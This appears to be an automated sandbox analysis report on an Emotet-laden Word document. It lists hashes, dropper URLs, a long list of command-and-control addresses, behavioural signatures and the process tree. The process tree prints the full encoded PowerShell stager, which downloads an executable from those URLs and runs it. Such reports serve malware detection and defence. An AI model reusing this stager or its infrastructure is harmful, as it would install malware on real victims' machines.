Analysis
- max time kernel
141s - max time network
147s - platform
windows10_x64 - resource
win10 - submitted
27/10/2020, 00:07
Static task
static1
Behavioral task
behavioral1
Sample
Arc-20201027-0780.doc
Resource
win7
General
- Target Arc-20201027-0780.doc
- Size 159KB
- Sample201027-4cdtvwsaka
- SHA256 4e6cc9395d61d172bbf4609dd2621e07304e62e0d580fca4ee823d4359fcc7a6
- MD5 25aecda69a21dc4eddff003c9d63b93e
- SHA1 fbd10f3d31354041b7cf36f12f6ea218375057e6
- SHA512 3ebf44859cee55150338e676cfa7ff7b4f2425da7b92f668965d38ef7611e40367706670c7fdbfde18344ccf624df658c653b85b70c66d053ecb9c35c3270a3f
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
https://preilurd.com/wp-admin/N/
-
exe.dropper
https://twistan.com/wp-content/pxj/
-
exe.dropper
https://beliloba.com/cgi-bin/1t/
-
exe.dropper
https://jabalmubarak.com/wp-includes/mq/
-
exe.dropper
https://www.xxxporn.futbol/wp-includes/vC/
-
exe.dropper
https://vietnamdigitalmarketing.org/wp-includes/qd/
-
exe.dropper
https://haule.net/wp-content/JAJ/
Extracted
-
emotet
-
Epoch1
-
45.16.226.117:443
-
104.131.92.244:8080
-
70.39.251.94:8080
-
87.230.25.43:8080
-
186.189.249.2:80
-
209.236.123.42:8080
-
5.196.35.138:7080
-
45.33.77.42:8080
-
46.43.2.95:8080
-
24.135.69.146:80
-
103.236.179.162:80
-
190.92.122.226:80
-
201.71.228.86:80
-
68.183.170.114:8080
-
183.176.82.231:80
-
168.197.45.36:80
-
152.169.22.67:80
-
111.67.12.221:8080
-
51.75.33.127:80
-
186.70.127.199:8090
-
188.157.101.114:80
-
137.74.106.111:7080
-
149.202.72.142:7080
-
177.73.0.98:443
-
62.84.75.50:80
-
201.213.177.139:80
-
60.93.23.51:80
-
190.190.219.184:80
-
177.129.17.170:443
-
79.118.74.90:80
-
202.134.4.210:7080
-
2.45.176.233:80
-
192.241.143.52:8080
-
191.97.154.2:80
-
178.250.54.208:8080
-
129.232.220.11:8080
-
94.176.234.118:443
-
51.255.165.160:8080
-
128.92.203.42:80
-
216.47.196.104:80
-
185.94.252.27:443
-
104.131.41.185:8080
-
87.106.46.107:8080
-
109.190.35.249:80
-
181.58.181.9:80
-
5.89.33.136:80
-
45.46.37.97:80
-
178.211.45.66:8080
-
37.179.145.105:80
-
213.197.182.158:8080
-
217.13.106.14:8080
-
192.232.229.54:7080
-
109.190.249.106:80
-
181.56.32.36:80
-
12.163.208.58:80
-
190.24.243.186:80
-
74.58.215.226:80
-
185.183.16.47:80
-
81.215.230.173:443
-
138.97.60.141:7080
-
177.144.130.105:443
-
170.81.48.2:80
-
76.121.199.225:80
-
192.175.111.212:7080
-
177.144.130.105:8080
-
190.115.18.139:8080
-
12.162.84.2:8080
-
77.238.212.227:80
-
70.32.115.157:8080
-
181.30.61.163:443
-
51.15.7.145:80
-
191.182.6.118:80
-
82.76.52.155:80
-
188.135.15.49:80
-
138.97.60.140:8080
-
1.226.84.243:8080
-
190.101.156.139:80
-
200.59.6.174:80
-
83.103.179.156:80
-
181.129.96.162:8080
-
213.52.74.198:80
-
59.148.253.194:8080
-
188.251.213.180:80
-
219.92.13.25:80
-
94.23.62.116:8080
-
24.232.228.233:80
-
201.49.239.200:443
-
189.223.16.99:80
-
189.2.177.210:443
-
81.214.253.80:443
-
187.162.248.237:80
-
70.32.84.74:8080
-
173.68.199.157:80
-
172.86.186.21:8080
-
181.123.6.86:80
-
46.101.58.37:8080
-
46.105.114.137:8080
-
174.118.202.24:443
-
37.187.161.206:8080
-
197.232.36.108:80
-
37.183.81.217:80
-
50.28.51.143:8080
-
83.169.21.32:7080
-
85.214.26.7:8080
-
120.72.18.91:80
-
212.71.237.140:8080
-
172.104.169.32:8080
-
193.251.77.110:80
-
103.13.224.53:80
-
77.78.196.173:443
-
82.76.111.249:443
-
181.61.182.143:80
-
177.107.79.214:8080
-
190.188.245.242:80
-
74.135.120.91:80
-
68.183.190.199:8080
-
177.23.7.151:80
-
98.103.204.12:443
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1652 1812 POwersheLL.exe 74 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/2096-13-0x00000000006E0000-0x0000000000700000-memory.dmp emotet behavioral2/memory/2096-14-0x0000000000A30000-0x0000000000A4E000-memory.dmp emotet behavioral2/memory/384-17-0x00000000008F0000-0x0000000000910000-memory.dmp emotet behavioral2/memory/384-18-0x0000000001F70000-0x0000000001F8E000-memory.dmp emotet - Blacklisted process makes network request 2 IoCs
flow pid Process 16 1652 POwersheLL.exe 18 1652 POwersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 2096 Rzv0xu.exe 384 mtstocom.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\FXSCOM\mtstocom.exe Rzv0xu.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 4052 WINWORD.EXE 4052 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 1652 POwersheLL.exe 1652 POwersheLL.exe 1652 POwersheLL.exe 384 mtstocom.exe 384 mtstocom.exe 384 mtstocom.exe 384 mtstocom.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1652 POwersheLL.exe - Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 4052 WINWORD.EXE 4052 WINWORD.EXE 4052 WINWORD.EXE 4052 WINWORD.EXE 4052 WINWORD.EXE 4052 WINWORD.EXE 4052 WINWORD.EXE - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2096 wrote to memory of 384 2096 Rzv0xu.exe 79 PID 2096 wrote to memory of 384 2096 Rzv0xu.exe 79 PID 2096 wrote to memory of 384 2096 Rzv0xu.exe 79
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Arc-20201027-0780.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4052
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD IABzAEUAdAAtAEkAdABlAE0AIAAgACgAJwB2AEEAUgAnACsAJwBpACcAKwAnAEEAQgBMAEUAOgAnACsAJwAxACcAKwAnADkAUwBSAFUAJwApACAAIAAoAFsAdAB5AFAARQBdACgAIgB7ADIAfQB7ADMAfQB7ADEAfQB7ADAAfQB7ADQAfQAiACAALQBmACcAUgBlAEMAdAAnACwAJwAuAGkAbwAuAGQAaQAnACwAJwBTAHkAJwAsACcAcwBUAEUATQAnACwAJwBvAHIAeQAnACkAIAApADsAIAAkADEAVwBOAEMAVQBsACAAPQAgAFsAdAB5AHAARQBdACgAIgB7ADMAfQB7ADYAfQB7ADAAfQB7ADUAfQB7ADIAfQB7ADEAfQB7ADQAfQAiACAALQBmACcAZQAnACwAJwBpAEMARQBwACcALAAnAEUAcgB2ACcALAAnAFMAeQBzAFQAJwAsACcATwBJAG4AVABtAGEAbgBBAGcAZQBSACcALAAnAFQALgBTACcALAAnAGUATQAuAG4AJwApACAAOwAkAFgAdwBsAGYAXwBtAGwAPQAoACgAJwBTADIAJwArACcAawAnACkAKwAoACcAcgAnACsAJwBqAGwAJwApACsAJwAwACcAKQA7ACQAVQBwAGMANgB4AGkAbwA9ACQASwBtAHQANABwAHoAdAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQASwB5AGgAbABjAF8AaAA7ACQAWgAxADAAYQA4AGkAbgA9ACgAJwBXACcAKwAoACcAYQAnACsAJwA4ADUAbQBtACcAKwAnAF8AJwApACkAOwAgACAAKAB2AEEAcgBJAGEAYgBMAGUAIAAoACcAMQA5AFMAcgAnACsAJwBVACcAKQAgAC0AVgBBACkAOgA6ACIAYwBSAGUAQQBUAEUARABgAEkAUgBlAGAAYwBUAGAATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwA3ADMAJwArACgAJwBXAFMAZwBpAHcAJwArACcAdQB3ACcAKQArACcANAAnACsAKAAnADcAMwBXACcAKwAnAFYAMQAnACkAKwAoACcAegAyAF8AbwAnACsAJwBxACcAKwAnADcAMwAnACkAKwAnAFcAJwApAC4AIgByAGAAZQBwAEwAQQBgAGMARQAiACgAKAAnADcAJwArACcAMwBXACcAKQAsAFsAUwBUAHIASQBOAGcAXQBbAGMASABBAHIAXQA5ADIAKQApACkAOwAkAFQAZQBuAHgANgB4ADkAPQAoACcAQwA5ACcAKwAoACcAMgBsAGUAJwArACcAXwBlACcAKQApADsAIAAgACgAIABnAGUAVAAtAGkAVABlAE0AIAAoACcAdgBBAFIAaQBhAEIAbABFACcAKwAnADoAMQB3AG4AQwAnACsAJwB1AEwAJwApACAAKQAuAHYAQQBMAFUAZQA6ADoAIgBzAEUAQwBVAHIASQBgAFQAWQBwAHIAbwBgAFQATwBgAEMAYABPAGwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAE4ANwBzAHQAbgAwAHkAPQAoACcAWgAnACsAKAAnAGUAOQAnACsAJwBvADMAJwApACsAJwAxAGIAJwApADsAJABVADMAegBqAF8AeABrACAAPQAgACgAJwBSAHoAJwArACcAdgAnACsAKAAnADAAJwArACcAeAB1ACcAKQApADsAJABJADQAMQA5AF8AcgBiAD0AKAAnAFcAOAAnACsAKAAnAGgAJwArACcAawByADUAcQAnACkAKQA7ACQAVQByAGgAeQAyADEAdAA9ACgAKAAnAEoAJwArACcANwB5ACcAKQArACgAJwB4AHEAJwArACcAcAAnACkAKwAnAGYAJwApADsAJABZAHEAOABiADcAbABmAD0AJABIAE8ATQBFACsAKAAoACcAQQAnACsAKAAnAHgANQBTAGcAJwArACcAaQAnACsAJwB3AHUAJwArACcAdwA0ACcAKQArACgAJwBBAHgANQAnACsAJwBWADEAegAnACkAKwAoACcAMgAnACsAJwBfAG8AcQAnACkAKwAoACcAQQB4ACcAKwAnADUAJwApACkALgAiAHIARQBQAGwAYABBAGMAZQAiACgAKABbAGMAaABhAHIAXQA2ADUAKwBbAGMAaABhAHIAXQAxADIAMAArAFsAYwBoAGEAcgBdADUAMwApACwAJwBcACcAKQApACsAJABVADMAegBqAF8AeABrACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQAWgBtAGYAMQB4AGEAegA9ACgAKAAnAFkANwBjACcAKwAnAHIAdgAnACkAKwAnAHEAdgAnACkAOwAkAEcAZAB0AGcAYgByAHkAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQBUAC4AdwBFAEIAYwBsAGkAZQBuAHQAOwAkAE8AXwBsAHIAdAB6AHgAPQAoACgAJwBoACcAKwAnAHQAdABwAHMAOgAnACkAKwAoACcAWwAgAHcAJwArACcAZQAgACcAKQArACcAXQAnACsAKAAnAFsAJwArACcAIAB3ACcAKQArACgAJwBlACAAXQBwACcAKwAnAHIAZQAnACkAKwAnAGkAbAAnACsAJwB1AHIAJwArACgAJwBkACcAKwAnAC4AYwBvAG0AWwAgACcAKwAnAHcAZQAnACkAKwAoACcAIAAnACsAJwBdAHcAJwApACsAKAAnAHAALQAnACsAJwBhACcAKQArACgAJwBkAG0AaQAnACsAJwBuACcAKwAnAFsAJwArACcAIAB3AGUAIABdAE4AJwArACcAWwAgAHcAZQAgAF0AJwApACsAJwBAACcAKwAoACcAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAJwArACcAcwA6AFsAJwApACsAKAAnACAAdwBlACcAKwAnACAAXQAnACkAKwAoACcAWwAgACcAKwAnAHcAJwApACsAKAAnAGUAJwArACcAIABdACcAKQArACgAJwB0AHcAJwArACcAaQAnACsAJwBzAHQAYQBuAC4AYwBvAG0AJwApACsAJwBbACcAKwAnACAAdwAnACsAKAAnAGUAIABdAHcAJwArACcAcAAnACsAJwAtAGMAbwBuAHQAJwApACsAJwBlACcAKwAoACcAbgAnACsAJwB0AFsAIAB3AGUAIABdACcAKQArACcAcAB4ACcAKwAoACcAagBbACAAdwBlACcAKwAnACAAXQAnACsAJwBAACcAKQArACgAJwBoAHQAdAAnACsAJwBwACcAKQArACcAcwAnACsAKAAnADoAWwAgAHcAZQAnACsAJwAgACcAKwAnAF0AWwAnACkAKwAoACcAIAB3AGUAJwArACcAIABdACcAKwAnAGIAJwApACsAKAAnAGUAJwArACcAbABpACcAKwAnAGwAbwAnACsAJwBiAGEALgBjAG8AbQAnACsAJwBbACAAJwApACsAKAAnAHcAZQAgACcAKwAnAF0AJwArACcAYwBnAGkALQBiAGkAJwArACcAbgAnACkAKwAoACcAWwAgAHcAJwArACcAZQAgACcAKQArACcAXQAnACsAKAAnADEAJwArACcAdABbACAAdwBlACAAJwApACsAJwBdACcAKwAoACcAQABoAHQAdAAnACsAJwBwACcAKQArACgAJwBzACcAKwAnADoAWwAnACkAKwAnACAAdwAnACsAJwBlACAAJwArACcAXQAnACsAJwBbACAAJwArACgAJwB3AGUAJwArACcAIABdAGoAJwApACsAKAAnAGEAYgAnACsAJwBhACcAKQArACgAJwBsAG0AdQAnACsAJwBiAGEAJwArACcAcgBhACcAKwAnAGsALgBjAG8AbQBbACcAKQArACgAJwAgAHcAZQAgACcAKwAnAF0AJwApACsAKAAnAHcAJwArACcAcAAtACcAKQArACcAaQAnACsAKAAnAG4AYwAnACsAJwBsACcAKQArACcAdQBkACcAKwAnAGUAJwArACcAcwBbACcAKwAoACcAIAAnACsAJwB3AGUAIABdACcAKwAnAG0AcQBbACcAKwAnACAAdwBlACAAXQAnACkAKwAoACcAQAAnACsAJwBoAHQAdABwAHMAJwApACsAKAAnADoAWwAgAHcAJwArACcAZQAgAF0AWwAgACcAKwAnAHcAJwArACcAZQAnACkAKwAnACAAJwArACgAJwBdAHcAdwB3AC4AJwArACcAeAB4AHgAcAAnACkAKwAoACcAbwByACcAKwAnAG4ALgBmACcAKwAnAHUAJwApACsAJwB0AGIAJwArACgAJwBvAGwAWwAgAHcAJwArACcAZQAnACsAJwAgACcAKQArACcAXQB3ACcAKwAnAHAAJwArACgAJwAtAGkAJwArACcAbgBjAGwAJwArACcAdQBkAGUAJwApACsAKAAnAHMAWwAgAHcAJwArACcAZQAnACkAKwAoACcAIABdAHYAJwArACcAQwAnACkAKwAnAFsAJwArACgAJwAgAHcAZQAgAF0AQABoACcAKwAnAHQAdAAnACsAJwBwACcAKwAnAHMAOgAnACkAKwAoACcAWwAgAHcAJwArACcAZQAnACkAKwAnACAAJwArACcAXQAnACsAJwBbACAAJwArACgAJwB3AGUAJwArACcAIAAnACkAKwAnAF0AJwArACgAJwB2AGkAZQAnACsAJwB0AG4AYQBtAGQAJwArACcAaQBnACcAKwAnAGkAJwArACcAdABhACcAKwAnAGwAbQBhAHIAJwApACsAKAAnAGsAJwArACcAZQB0AGkAbgBnAC4AbwAnACkAKwAoACcAcgBnACcAKwAnAFsAIAB3ACcAKwAnAGUAIAAnACkAKwAoACcAXQAnACsAJwB3AHAALQBpAG4AYwBsACcAKwAnAHUAZABlACcAKwAnAHMAWwAnACsAJwAgAHcAJwApACsAJwBlACAAJwArACgAJwBdACcAKwAnAHEAZABbACAAJwArACcAdwAnACkAKwAnAGUAJwArACgAJwAgAF0AQABoAHQAdAAnACsAJwBwAHMAOgAnACkAKwAnAFsAJwArACcAIAB3ACcAKwAoACcAZQAgACcAKwAnAF0AJwArACcAWwAnACsAJwAgAHcAZQAgAF0AJwApACsAKAAnAGgAJwArACcAYQB1AGwAJwArACcAZQAnACsAJwAuAG4AZQB0ACcAKwAnAFsAIAB3AGUAIAAnACsAJwBdAHcAcAAtAGMAJwApACsAKAAnAG8AbgB0ACcAKwAnAGUAJwApACsAKAAnAG4AdAAnACsAJwBbACAAdwAnACkAKwAoACcAZQAgACcAKwAnAF0AJwApACsAJwBKAEEAJwArACgAJwBKAFsAJwArACcAIAB3AGUAJwApACsAJwAgAF0AJwApAC4AIgBSAGAARQBwAEwAQQBDAGUAIgAoACgAJwBbACAAJwArACcAdwAnACsAKAAnAGUAJwArACcAIABdACcAKQApACwAJwAvACcAKQAuACIAcwBgAHAAbABpAHQAIgAoACQARwBzADMAcwBwADgANAAgACsAIAAkAFUAcABjADYAeABpAG8AIAArACAAJABHAGsAdgBkADUAcAA0ACkAOwAkAFQAZQBsAGUAeQAyAHUAPQAoACcAVQB1ACcAKwAnADEANgAnACsAKAAnAHgAYwAnACsAJwA3ACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABaAGcAegBsAG4AOABuACAAaQBuACAAJABPAF8AbAByAHQAegB4ACkAewB0AHIAeQB7ACQARwBkAHQAZwBiAHIAeQAuACIARABvAFcAYABOAEwATwBBAGQAZgBgAGkAYABsAGUAIgAoACQAWgBnAHoAbABuADgAbgAsACAAJABZAHEAOABiADcAbABmACkAOwAkAEkAcABvADkAeAB5AHkAPQAoACcATwAnACsAJwB0ACcAKwAoACcAcgBtAHEAdgAnACsAJwA2ACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAIAAkAFkAcQA4AGIANwBsAGYAKQAuACIATABlAG4AZwBgAFQAaAAiACAALQBnAGUAIAA0ADAANAA3ADUAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAKAAnAHcAaQAnACsAJwBuACcAKQArACcAMwAnACsAJwAyAF8AJwArACgAJwBQAHIAJwArACcAbwAnACsAJwBjAGUAcwBzACcAKQApACkALgAiAEMAcgBFAGEAYABUAEUAIgAoACQAWQBxADgAYgA3AGwAZgApADsAJABQADIAcQBlAHEAdgBzAD0AKAAnAEEAJwArACgAJwAxACcAKwAnADcAZwAnACkAKwAoACcAOQAnACsAJwBfAGgAJwApACkAOwBiAHIAZQBhAGsAOwAkAFIAMwBvAGEANgA0AGQAPQAoACgAJwBHAHYAZgBrACcAKwAnAGgAJwApACsAJwBtACcAKwAnAGgAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABGADQAYgBsAHAANAA3AD0AKAAoACcAWABfAHgAJwArACcAMAA0ACcAKQArACcANwAnACsAJwB3ACcAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1652
-
C:\Users\Admin\Sgiwuw4\V1z2_oq\Rzv0xu.exeC:\Users\Admin\Sgiwuw4\V1z2_oq\Rzv0xu.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2096 -
C:\Windows\SysWOW64\FXSCOM\mtstocom.exe"C:\Windows\SysWOW64\FXSCOM\mtstocom.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:384
-